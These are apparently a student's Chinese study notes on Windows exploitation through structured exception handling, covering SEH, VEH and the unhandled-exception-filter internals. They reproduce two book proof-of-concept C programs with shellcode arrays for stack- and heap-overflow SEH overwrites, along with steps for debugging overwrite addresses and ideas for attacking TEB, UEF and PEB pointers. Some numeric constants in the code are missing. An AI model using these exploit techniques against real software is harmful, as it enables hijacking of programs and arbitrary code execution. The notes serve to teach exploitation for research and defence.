OD: Memory Attach Technology - Exception

时间:2023-03-09 05:25:46
OD: Memory Attach Technology - Exception

看到第六章了:形形色色的内存攻击技术

异常处理结构体 S.E.H Structure Exception Handler

S.E.H 是 Windows 处理异常的重要数据结构。每个 S.E.H 为 8 字节:包含 S.E.H 链表指针和异常处理函数句柄(两个 DWORD)。

. S.E.H 存放在系统栈中,栈中一般会同时存放多个 S.E.H
. 线程初始化时,会自动向栈中安装一个 S.E.H,作为线程默认的异常处理。
. 如果程序源码中使用了 __try{}__except{} 或者 assert 宏等异常处理机制,编译器将最终通过向当前函数栈帧中安装一个 S.E.H 来实现异常处理。
. 栈中的多个 S.E.H 通过链表指针在栈内由栈顶向栈底串成单链表,链表最顶端的 S.E.H 通过 T.E.B 字节偏移处的指针标识。
. 当异常发生时,OS 会中断程序,并首先从 T.E.B 的 字节偏移处(TEB FS:0)取出距离栈顶最近的 S.E.H,并使用异常处理函数句柄指向的代码来处理异常。
. 当离“事故现场”最近的异常处理函数运行失败时,将顺着 S.E.H 链表依次尝试其他的异常处理函数。
. 如果程序安装的所有异常处理函数都不能处理,OS 会用默认的异常处理函数:通常会弹出错误提示然后强制关闭程序。 注意:系统对异常处理函数的调用可能不止一次;对于同一个函数的多个 __try 或嵌套的 __try 需要进行 S.E.H 展开(unwind)操作;线程、进程、OS 的异常处理之间的调用顺序和优先级等也要考虑。

因此,一种利用思路就出来了:S.E.H 存放在栈中,所以可以用缓冲区栈溢出覆盖 S.E.H,将 S.E.H 中异常处理函数的地址修改为 Shellcode 的地址。溢出后错误的栈帧往往引发异常,之后 Windows 会将 Shellcode 当作异常处理函数执行。

栈溢出并攻击 SEH 异常处理回调函数示例如下:

 /*****************************************************************************
To be the apostrophe which changed "Impossible" into "I'm possible"! POC code of chapter 7.2 in book "Vulnerability Exploit and Analysis Technique" file name : SEH_stack.c
author : failwest
date : 2007.07.04
description : demo show of how SEH be exploited
Noticed : 1 only run on windows 2000
2 complied with VC 6.0
3 build into release version
4 SEH offset and shellcode address may need
to make sure via runtime debug
version : 1.0
E-mail : failwest@gmail.com Only for educational purposes enjoy the fun from exploiting :)
******************************************************************************/
#include <windows.h> char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x98\xFE\x12\x00";//address of shellcode
DWORD MyExceptionhandler(void)
{
printf("got an exception, press Enter to kill process!\n");
getchar();
ExitProcess();
return ;
} void test(char * input)
{
char buf[];
int zero=;
//__asm int 3 //used to break process for debug
__try
{
strcpy(buf,input); //overrun the stack
zero=/zero; //generate an exception
}
__except(MyExceptionhandler()){}
} int main()
{
test(shellcode);
return ;
}

以上代码的测试环境为 Windows 2000 VM,编译版本为 Release。异常处理机制调试与堆调试类似,系统会检测进程是否处于调试态,调试态的异常处理与常态不一样,所以需要使用 int 3 中断来 Attach 进程进行调试。实验的关键在于确定 S.E.H 回调函数的句柄,这个是通过调试事先确定的:单击 OllyDbg 中的 View -> SEH Chain 可以看到异常回调函数句柄。

Windows 平台的溢出利用中,修改 SEH 和修改返回地址的栈溢出几乎同样流行。在很多高难度的限制条件下,直接利用溢出触发异常往往能得到高质量的 exploit。

同理,堆溢出攻击 SEH 的代码如下:

 /*****************************************************************************
To be the apostrophe which changed "Impossible" into "I'm possible"! POC code of chapter 7.2 in book "Vulnerability Exploit and Analysis Technique" file name : SEH_heap.c
author : failwest
date : 2007.07.04
description : demo show of how SEH be exploited
Noticed : 1 only run on windows 2000
2 complied with VC 6.0
3 build into release version
4 SEH address may need to make sure via runtime debug
version : 1.0
E-mail : failwest@gmail.com Only for educational purposes enjoy the fun from exploiting :)
******************************************************************************/
#include <windows.h> char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x16\x01\x1A\x00\x00\x10\x00\x00"// head of the ajacent free block
"\x88\x06\x52\x00"//0x00520688 is the address of shellcode in first heap block
//"\x90\x90\x90\x90";//target of dword shouting
"\x30\xFF\x12\x00";//target of dword shouting DWORD MyExceptionhandler(void)
{
ExitProcess();
} main()
{
HLOCAL h1 = , h2 = ;
HANDLE hp;
hp = HeapCreate(,0x1000,0x10000);
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,);
memcpy(h1,shellcode,0x200);// over flow here, noticed 0x200 means 512 !
__asm int // uesd to break the process
__try
{
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,);
}
__except(MyExceptionhandler()){}
return ;
}

需要注意的是,堆溢出中 SEH 的地址需要用如下技巧调试得知:

首先,OllyDbg 是可以捕获所有异常的,但需要在 Optins -> Debugging Option -> Exceptions 中关闭异常过滤。

OD: Memory Attach Technology - Exception

这样,当进程发生异常时,OllyDbg 就可以捕获到(见底部状态栏):

OD: Memory Attach Technology - Exception

然后,设置 DWORD SHOOT 攻击目标为非法地址 0x90909090,触发异常后,打开 OllyDbg 的 SEH Chain 才可以看到需要覆盖的 SEH 地址:栈顶端 SEH 的位置是 0x0012FF2C,所以 DWORD SHOOT 的地址是 0x0012FF2C + 0x4 = 0x0012FF30

深入 S.E.H

和堆分配机制一样,MS 从未正式公开过 Windows 的异常处理机制。但在非官方的文献资料中有一篇著名的技术文章:微软工程师 Matt Pietrek 所发表的 A Crach Course on the Depths of Win32 Structured Exception Handling,系统地描述了 Windows 中基于 S.E.H 的异常处理原理和大致流程,并讲解了 S.E.H 是如何实现 __try{}、__except{} 异常处理机制的,见:http://www.microsoft.com/msj/0197/exception/exception.aspx

从攻击者的角度讲,对异常处理的掌握只要知道改写 S.E.H 并劫持进程、植入代码就够了,但对安全技术研究人员来说,异常处理机制很有研究价值,几乎所有大师级别的安全专家都对异常处理机制了如指掌,如果能掌握异常处理的所有细节,那么就有可能创造一种新的漏洞利用方法。

异常处理的最小作用域是线程,此外进程中也有一个能纵观全局的异常处理,当线程自身的 SEH 无法处理错误的时候,进程 SEH 将发挥作用。这种异常处理不仅能影响出错的线程,进程下属的所有线程都会受到影响。除了线程、进程异常处理外,OS 还为所有程序提供了一个默认的异常处理:当所有线程、进程 SEH 都无法处理异常的时候,默认异常处理将启用,效果通常是弹出程序崩溃的对话框。

补充异常处理简要流程如下:
. 首先执行线程中离栈顶最近的 SEH 的处理函数
. 若失败,则依次执行 SEH 链表中的后续异常处理函数
. 若 SEH 链表中所有异常处理函数都没有处理成功,则执行进程中的异常处理
. 若进程 SEH 处理失败,则执行 OS 的默认异常处理函数:弹窗!

线程的异常处理

线程中用于异常处理的函数有 4 个参数:

pExcept   : 指向一个非常重要的结构体 EXCEPTION_RECORD,该结构体包含了一些与异常相关的信息,如异常类型、异常发生地址等。
pFrame : 指向栈帧中的 SEH 结构体。
pContext : 指向 Context 的结构体,该结构体包含了所有寄存器状态。
pDispatch : 未知用途。。。

在回调函数(异常处理函数)执行前,OS 会将上述断点信息压栈。根据这些对异常的描述,回调函数可以轻松地处理异常:如将除零异常后相关寄存器的值修改为非零,将内存设访问错误异常后的寄存器地址指回有效地址等。

异常处理函数返回后,OS 根据返回值决定下一步操作:

 ExceptionContinueExecution 异常处理成功,将返回原程序发生异常的地方继续执行后续指令(这里一些传递给回调函数断点信息可能被修改过,以防止如除零等异常)
ExceptionContinueSearch 代表异常处理失败,将继续按异常处理流程执行后续 SEH

线程异常处理中还有一个比较神秘的操作:unwind

当系统顺着 S.E.H 链表搜索到能够处理异常的句柄时,将会重新遍历 S.E.H 链表中已经调用过的 S.E.H 异常处理函数,并通知这些处理异常失败的 S.E.H 清理现场、释放资源,之后这些 S.E.H 结构体将从链表中拆除。

unwind 操作很好地保证了异常处理机制自身的完整性和正确性:

OD: Memory Attach Technology - Exception

unwind 操作是为了在进行多次异常处理、甚至互相嵌套的异常处理时,仍能使异常处理机制稳定、正确地执行。unwind 会在真正处理异常之前将之前的 SEH 节点逐个拆除(拆除前会通知异常处理函数释放资源、清理现场),所以,异常处理时,线程的异常处理函数实际上被调用了两次:第一轮调用是用来尝试处理异常,第二轮调用是通知回调函数释放资源。unwind 调用是在回调参数中指明的,对照 MSDN,查看回调函数第一个参数 pExcept 所指向的 EXCEPTION_RECORD 结构体:

typedef struct _EXCEPTION_RECORD {
DWORDExceptionCode;
DWORDExceptionFlags; // Flags
struct _EXCEPTION_RECORD *ExceptionRecord;
PVOID ExceptionAddress;
DWORD NumberParameters;
DWORD ExceptionInformation [EXCEPTION_MAXIMUM_PARAMETERS];
} EXCEPTION_RECORD;

当这个结构体中的 ExceptionCode 为 0xC0000027(STATUS_UNWIND),并且 ExceptionFlags 为 2(EH_UNWINDING)时,对回调函数的调用就属于 unwind 调用。unwind 操作是通过 kernel32 中的一个导出函数 RtlUnwind() 实现,kernel32.dll 会转而再去调用 ntdll.dll 中的同名函数(见 MSDN):

void RtlUnwind (
PVOID TargetFrame,
PVOID TargetIp,
PEXCEPTION_RECORD ExceptionRecord,
PVOID ReturnValue
)

要注意的是,在使用回调函数之前,系统会判断当前是否处于调试状态,如果是,会将异常交给调试器处理。

进程的异常处理

线程中发生的异常若没有被线程异常处理函数或调试器处理成功,则将交给进程中的异常处理函数。
进程的异常处理函数需要通过 Kernel32.dll 的导出函数 SetUnhandledExceptionFilter 来注册:

LPTOP_LEVEL_EXCEPTION_FILTER SetUnhandledExceptionFilter(
LPTOP_LEVEL_EXCEPTION_FILTER lpTopLevelExceptionFilter
);

进程的异常处理函数返回值为:

  EXCEPTION_EXECUTE_HANDLER    错误等到处理,程序将退出。
EXCEPTION_CONTINUE_SEARCH 无法处理错误,转交系统进行默认异常处理
- EXCEPTION_CONTINUE_EXECUTION 错误得到正确处理,并将继续执行。系统会用回调函数的参数恢复出异常发生时的断点情况(这时引起异常的寄存器值已经得到修复)

系统默认异常处理 U.E.F - Unhandled Exception Filter

如果用户没有注册进程异常处理,或者进程异常处理失败,则系统默认异常处理 UnhandledExceptionFilter() 会被调用。

UnhandledExceptionFileter() 首先检查注册表 HKLM\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\AeDebug 下的项:

Auto        : 1 表示不弹出错误对话框直接结束程序,其余值会弹窗。

Debugger : 指明默认调试器。

由以上信息,可以总结异常处理的流程如下:

. CPU 执行时发生并捕获异常,内核接过进程控制权,开始内核态的异常处理。
. 内核异常处理结束后,控制权交给 ring3。
. ring3 中的第一个处理异常的函数是 ntdll.dll 中的 KiUserExceptionDispatcher()。
. KiUserExceptionDispatcher() 首先检查程序是否处于调试态,若是,则将异常交给调试器处理。
. 非调试态下,KiUserExceptionDispater() 调用 RtlDispatchException() 对线程 SEH 链表进行遍历,如果找到合适的回调函数,则进行 unwind 操作。
. 如果 SEH 处理异常失败,且用户使用 SetUnhandledExceptionFilter() 设定了进程异常处理,则这个异常处理将被调用。
. 如果用户没有定义进程异常处理或者定义的进程异常处理失败,则 UnhandledExceptionFilter() 被调用。

这个流程基于 Windows 平台,Windows XP 及后续的系统的异常处理流程大致相同,只是 KiUserExceptionDispatcher() 在遍历 SEH 之前,会先尝试新加入的异常处理类型 V.E.H(Vectored Exception Handling)

向量化异常处理 V.E.H - Vectored Exception Handler

从 Windows XP 开始,有兼容以前的 S.E.H 异常处理基础上,MS 增加了 V.E.H:

V.E.H 和进程异常处理类似,也是基于进程的,需要使用 API 注册回调函数:

PVOID AddVectoredExceptionHandler(
ULONG FirstHandler,
PVECTORED_EXCEPTION_HANDLER VectoredHandler
); V.E.H 结构
struct _VECTORED_EXCEPTION_NODE {
  DWORD m_pNextNode;
  DWORD m_pPreviowsNode;
  PVOID m_pfnVectoredHandler;
}

可以注册多个 V.E.H,V.E.H 结构体之间串成双向链表,注册 V.E.H 时,可以指定其在链中的位置而不像 S.E.H 那样按顺序压栈。另外 V.E.H 是保存的堆中。

V.E.H 处理优先级高于 S.E.H 处理,而且 V.E.H 没有 unwind 操作。

David Litchfiled 在 Black Hat 上的演讲 Windows heap overflows 提出如果能利用 DWORD SHOOT 修改指向 V.E.H 头节点的指针,则异常处理开始后,可以引导程序执行 Shellcode。

攻击 TEB 中的 SEH 头节点指针

SEH 通过 TEB 的第一个 DWORD(fs:0)标识,这个指针指向离栈顶最近的 SEH。Halvar Flake 在 Black Hat 上的演讲 Third Generation Exploitation 中提出攻击 TEB 中 SEH 头节点指针的利用思路,并指明这种方法的局限:

1. 一个进程可能有多个线程。

2. 每个线程都有一个 TEB。

3. 第一个 TEB 开始于 0x7FFDE000,之后每个 TEB 紧随前边的 TEB,相隔 0x1000 字节,向内存低地址增长。

4. 线程退出时,TEB 销毁,腾出的 TEB 空间可以被后续重复使用。

服务器程序往往是多线程的,这种利用方法不便于判断对应 TEB 位置。所以,攻击 TEB 中 SEH 头节点的方法一般用于单线程程序。

攻击默认异常处理 U.E.F

Halvar Flake 最早提出攻击 UEF 的思路,同时还给出了确定 UEF 句柄的方法 - 反汇编 kernel32.dll 中的 SetUnhandledExceptionFilter():

利用 IDA Pro 打开 kernel32.dll 进行反汇编,分析结束后查看 Functions 选项卡,键入 SetUnhandledExceptionFilter 定位到这个函数,就能找到其入口地址。

双击这个函数,IDA 会自动跳到其反汇编代码处,从反汇编代码中可以查到 U.E.F 的地址。

跳板技术能使 UEF 攻击的成功率增高:异常发生时 EDI 往往指向堆中离 shellcode 不远的地方,把 UEF 的句柄覆盖成如下指令之一就可以定位 shellcode:

call dword ptr [edi+0x78]

call dword ptr [esi+0x4c]

call dword ptr [ebp+0x74]

但堆溢出不像栈溢出一样有个 jmp esp 作保证,堆溢出利用 edi 不一定能每次都成功。

攻击 PEB 中的函数指针

UEF 被使用后,最后将使用 ExitProcess() 和结束进程,ExitProcess() 清理现场时需要调用 RtlEnterCriticalSection() 和 RtlLeaveCriticalSection() 进入临界区同步线程。如果能用 DWORD SHOOT 把 PEB 中这对函数的指针修改成 shellcode 的地址,那么 UEF 调用 ExitProcess 时就会执行 shellcode。

比起不固定的 TEB,PEB 位置永远不变,因此这种方法比淹没 TEB 中 SEH 头节点更稳定可靠。